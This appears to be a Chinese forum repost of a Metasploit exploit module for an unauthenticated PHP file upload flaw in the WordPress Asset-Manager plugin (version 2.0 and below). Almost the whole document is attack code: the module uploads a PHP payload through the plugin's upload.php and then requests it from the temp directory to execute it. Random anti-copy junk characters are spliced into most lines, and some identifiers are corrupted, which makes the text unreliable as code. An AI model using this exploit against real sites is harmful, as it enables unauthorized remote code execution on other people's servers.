这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
- z& B5 X% K0 K L
: {2 V7 ]; R% L- d3 Y+ m; \" q+ X##* R1 n$ s- q" |! I( C9 u" a
# This file is part of the Metasploit Framework and may be subject to
9 ~' S7 K8 i: O. d7 M# redistribution and commercial restrictions. Please see the Metasploit3 y: Y. v# `: q5 L, D, w0 w4 A# Z$ l4 u2 e
# Framework web site for more information on licensing and terms of use.2 G6 T" C8 q# m2 b" f
# http://metasploit.com/framework/6 a: d6 N$ J* k7 P& R+ \
##
" R9 [/ U* K0 y0 c
5 O" n. e2 r3 X$ orequire 'msf/core'* C" A, E/ G3 ^( u
require 'msf/core/exploit/php_exe'* e; [- O# X) T1 d. a
! X% I: A3 Y% ?, X$ w
class Metasploit3 < Msf::Exploit::Remote
2 X0 I9 M4 e7 x/ o Rank = ExcellentRanking3 _3 P6 z2 L5 n3 C6 t
5 U! \# X9 ]4 w# }
include Msf::Exploit::Remote::HttpClient
}; K% T$ F# f& o d include Msf::Exploit: hpEXE% x9 ]) c) [! L& m! y- o% I. n) v
9 e9 q4 `8 w# @+ _& _
def initialize(info = {}) }; q8 N# H; p! \9 A4 X
super(update_info(info,& n. H2 u0 w q+ R; w1 R
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',# q+ h V/ Q7 K% n
'Description' => %q{
( W# x9 V$ Q% j( ~' P- | This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
P) T( V8 q) C/ k' u plugin. By abusing the upload.php file, a malicious user can upload a file to a7 e% d* x8 h1 M0 @( ~ {
temp directory without authentication, which results in arbitrary code execution.
$ [6 H1 W8 ]0 b) u: C },5 J' Q% V8 {; r
'Author' =>6 H7 N& Q% h( m. m& B4 C, v5 R
[) D$ Z7 j7 c+ z5 t6 l$ I
'Sammy FORGIT', # initial discovery7 H7 K2 K t2 G9 n
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
2 G' Z/ w; F2 ]. a ],
/ W( ^: L. b: R" n3 { 'License' => MSF_LICENSE,
8 m8 C* G- S1 _1 K- l7 q. k! h+ i 'References' =>2 M; |1 ], x2 P# k. l/ W) B
[
( y$ f% [ h8 S [ 'OSVDB', '82653' ],5 l8 ?5 J9 l6 Z. J9 N' P
[ 'BID', '53809' ],8 D0 d, S+ d6 p# n
[ 'EDB', '18993' ]," b. C; [$ [ G+ Z) Q Y: U) L
[ 'URL', 'http:// www.myhack58.com /' ]2 B6 r$ h. U- S1 h" Q* [* z- M8 B/ I% ~
],$ J7 b0 r" [8 j3 E; L6 a" k* [& n
'Payload' =>! R$ f; ?# B5 N% ^( L2 p" M
{
) V D9 A1 B) r 'BadChars' => "\x00",1 s2 M6 y/ E- X( ]) I* z
},
" o% ~2 n. i: q% v& G 'Platform' => 'php',
) {8 h, L, n2 s 'Arch' => ARCH_PHP,
' k$ S! g$ Y2 m7 l u' m 'Targets' =>
1 H5 V& r3 O2 G [
6 D0 ?; [# G. k1 ^8 m6 A/ | [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], C4 B5 L4 `5 y
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
" w [8 V8 o8 }8 |7 m w. F+ k ],
# L5 W7 I2 j# y5 L 'DefaultTarget' => 0,
9 v: q% T( P( C 'DisclosureDate' => 'May 26 2012'))
+ S1 Q+ v' z9 t , a# Z$ H0 Q" `+ O& u. i& O% ^2 b
register_options(+ K Z0 k; W+ q6 @9 F* `
[
) z! q4 m4 z* `( D3 {" B5 F# k. Q OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
& z2 d# T. H$ N7 i$ w# G: f* y ], self.class)* @* j( ]+ u. r, X0 W4 q
end
0 C l/ V3 a0 r5 O" j' G
5 {( b# S" {5 w- |) R* m" t def exploit( x: _/ ]! U9 E; n8 ]3 G
uri = target_uri.path
% f# A0 ?% Z' t5 e uri << '/' if uri[-1,1] != '/'# \- w( _( |& d4 z! v
peer = "#{rhost}:#{rport}"
& g7 Y" G2 A4 D- w payload_name = "#{rand_text_alpha(5)}.php"
1 Q/ l4 |& Z! i+ e9 W" l0 Q/ L php_payload = get_write_exec_payload(:unlink_self=>true)
5 W) [8 o- c: a q9 O% C+ v. L4 A # c5 y! w( X# g+ Y1 `/ K
data = Rex::MIME::Message.new$ n4 Q( d$ i# `
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
' F/ S" e7 ?. X, a post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')( A- V, \8 K7 x% q S6 k D" `
( @! E. J3 M+ f* \6 y; h print_status("#{peer} - Uploading payload #{payload_name}")0 q, V0 h9 w& n) T P2 x/ o
res = send_request_cgi({% r0 I9 W0 R! e: |
'method' => 'POST',0 O) e# R) R O% B
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",: W; A. C$ O/ }* [, q4 h: `
'ctype' => "multipart/form-data; boundary=#{data.bound}",4 {5 V' K# d) a$ Y% o
'data' => post_data
2 h/ h) A' A0 t7 c6 j })
0 a6 H5 h3 X3 Q' @! i. }) L: ^% n+ u ! t) U1 s) Y5 k) ] Y& X8 h {1 K
if not res or res.code != 200 or res.body !~ /#{payload_name}/7 L4 a! l3 B7 x! A6 M; y( G4 \ R0 q
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
$ s! m3 u: U' n) E0 Xend
8 S! l9 f/ A& ^+ x ) H6 y. W/ O- E: Q! j8 D$ \9 v
print_status("#{peer} - Executing payload #{payload_name}")1 _- O. S) [! a9 X( ?
res = send_request_raw({
- T) h$ T: s8 G! e5 l1 i: L& b: } 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",1 Q" q7 X* ?; X* d6 j
'method' => 'GET'
% U2 G# b' n% }8 N/ Y& e" D* J })
! k+ W `! w. G8 x1 e 8 b( X7 S( ~5 d
if res and res.code != 200, |1 i: o% E! ^1 _: x9 n* M7 t; F. t
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")8 X6 \' L* e- ]
end+ c/ L4 e. n$ q
end# x! _2 r+ k; H; z+ C- k
end( ^+ u/ a& v( ^ s; [& M. L' h
|